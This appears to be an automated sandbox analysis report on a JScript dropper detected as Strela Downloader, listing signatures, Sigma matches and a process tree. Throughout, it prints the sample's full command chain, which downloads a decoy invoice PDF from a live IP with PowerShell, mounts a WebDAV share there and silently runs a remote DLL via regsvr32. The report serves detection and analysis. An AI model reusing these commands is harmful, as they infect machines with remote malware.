Edit tour

Windows Analysis Report
647915480318827205.js

Overview

General Information

Sample name:	647915480318827205.js
Analysis ID:	1587795
MD5:	aa7900efb9b65e2e91572a805b4dfb00
SHA1:	e3ed8765470c437e24cadad2237fa81c349c8225
SHA256:	37489cec8ecddafeb3914569eb1445d8191848f5b1330997607eb24e133f4cb3
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1492 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6104 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5560 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2432 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7240 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7448 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1644,i,9985330244955077612,10226034599088228231,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2936 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1136 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7320 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1492	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5560, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5560, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", ProcessId: 1492, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ProcessId: 6104, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ProcessId: 6104, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ProcessId: 6104, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ProcessId: 6104, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ProcessId: 6104, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", ProcessId: 1492, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5560, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2936, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1136, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7320, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2936, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1136, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1492, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll, ProcessId: 6104, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 647915480318827205.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 647915480318827205.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.2243994714.00000203FF19F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2350506508.000001EE3E799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2350506508.000001EE3E76D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2350506508.000001EE3E748000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2350506508.000001EE3E77C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2350506508.000001EE3E77C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000007.00000002.2350506508.000001EE3E77C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000007.00000002.2350506508.000001EE3E748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/paceF(
Source: svchost.exe, 00000009.00000002.3537574320.000001AC5C215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2354915588.000001AC5BFA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1492, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 647915480318827205.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2168:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1nqvhfa3.3ed.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js"
